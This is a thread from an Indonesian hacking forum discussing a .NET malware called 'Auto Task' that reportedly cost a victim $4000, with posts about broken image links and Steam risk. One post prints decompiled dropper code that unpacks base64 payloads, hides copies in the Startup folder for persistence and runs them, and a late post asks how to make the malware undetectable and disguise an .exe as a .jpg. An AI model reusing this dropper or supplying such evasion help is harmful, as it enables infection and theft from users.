Indonesian Back|Track Team
Info New Malware - Auto Task - Printable Version

+- Indonesian Back|Track Team (https://www.indonesianbacktrack.or.id/forum)
+-- Forum: Cyber Crimes (https://www.indonesianbacktrack.or.id/forum/forum-220.html)
+--- Forum: Fraud over the internet (https://www.indonesianbacktrack.or.id/forum/forum-221.html)
+--- Thread: Info New Malware - Auto Task (/thread-6097.html)

Pages: 1 2 3


RE: New Malware - Auto Task - hamdan_zenith - 11-18-2014

iya bener om gak muncul gambarnya juga di ane Big Grin
tapi parah banget tuh smpe $4000 -_-


RE: New Malware - Auto Task - jufianto - 11-18-2014

om gambarnya ngk muncul


RE: New Malware - Auto Task - wine trochanter - 11-18-2014

iye gambar kgk muncul juga nih


RE: New Malware - Auto Task - abdilahrf - 11-19-2014

(11-18-2014, 09:18 PM)hamdan_zenith Wrote: iya bener om gak muncul gambarnya juga di ane Big Grin
tapi parah banget tuh smpe $4000 -_-
hehe siap om gambarnya dah ane kasih link bawahnya jadi bisa klik Big Grin
iya sangat bahaya om 40jt bisa beli tanah :v

(11-18-2014, 10:13 PM)jufianto Wrote: om gambarnya ngk muncul
hehe udah ane tambahin linknya

(11-18-2014, 10:48 PM)wine trochanter Wrote: iye gambar kgk muncul juga nih
udah ane tambahin link nya Big Grin


RE: New Malware - Auto Task - Mochammad Choìrul Anam - 11-20-2014

Om saya klik linknya tadi gimana nih ?


RE: New Malware - Auto Task - Shadow_ - 11-20-2014

(11-18-2014, 11:13 AM)abdilahrf Wrote:
(11-18-2014, 10:54 AM)m3t4b3t4 Wrote: Seru juga tuh bro buat promosi dagangan di setiap forum, hehee dont try this at IBT

ini lebih parah dari promosi :3

nenek" aja ilang $4000 gara" klik doang :v

wah,nenek nenek ???


RE: New Malware - Auto Task - abdilahrf - 11-20-2014

(11-20-2014, 08:54 PM)Mochammad Choìrul Anam Wrote: Om saya klik linknya tadi gimana nih ?

@Mochammad Choìrul Anam : Kalau pake linux sama ngak buka steam aman
soalnya malwarenya based .NET

@Shadow_ : :v iya om nenek-nenek  =))
kalau gak percaya ini chatiingan sama orangnya
https://disqus.com/home/user/disqus_hbiVM2ch01/

[Image: avatar92.jpg]


RE: New Malware - Auto Task - Mimin - 11-21-2014

mmm, exe + binary + self defense firewall

oke tuuh.. Big Grin


RE: New Malware - Auto Task - devilscream - 11-23-2014

https://www.virustotal.com/en/file/4eec49c87f4ee9ced3905c88bb6daf7dab387e31e03095f1c590b88c773e9a7a/analysis/

itu hasil Scan dari dropper virus ini xD , cuman 6 antivirus yang mendeteksi

Code:
[MethodImpl(MethodImplOptions.NoInlining)]
private static void Method4()
{
    string text = File.ReadAllText(Process.GetCurrentProcess().MainModule.FileName);
    string text2 = "<description>";
    string text3 = "</description>";
    string expression = Class2.Method1(Class3.Method3(ref text, ref text2, ref text3));
    Class3.Field1 = Strings.Split(expression, "\\\\", -1, CompareMethod.Binary);
    for (int i = 0; i <= Class3.Field1.Length - 1; i++)
    {
        if (!string.IsNullOrEmpty(Class3.Field1[i]))
        {
            try
            {
                string[] array = Strings.Split(Class3.Field1[i], "||", -1, CompareMethod.Binary);
                string s = array[0];
                string text4 = Interaction.Environ(array[1]) + "\\" + array[2];
                string a = array[3];
                string a2 = array[4];
                int millisecondsTimeout = Convert.ToInt32(array[5]) * 1000;
                if (File.Exists(text4))
                {
                    File.Delete(text4);
                }
                File.WriteAllBytes(text4, Class3.Method1(Convert.FromBase64String(s)));
                if (a2 == "True")
                {
                    string text5 = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + array[2];
                    if (File.Exists(text5))
                    {
                        File.Delete(text5);
                    }
                    File.Copy(text4, text5);
                    File.SetAttributes(text5, FileAttributes.Hidden);
                }
                Thread.Sleep(millisecondsTimeout);
                if (a == "Yes")
                {
                    Process.Start(text4);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
            }
        }
    }
    Process.GetCurrentProcess().Kill();
}



RE: New Malware - Auto Task - bre-ann - 10-21-2015

FUD nya di gimana in yah tuh biar ga ke detect gitu ? kalo ganti exe. jadi .jpg nya sih di spoof di cmd bisa yah ? cuma itu kalo di posting di source photo , apa malware nya masih ada ?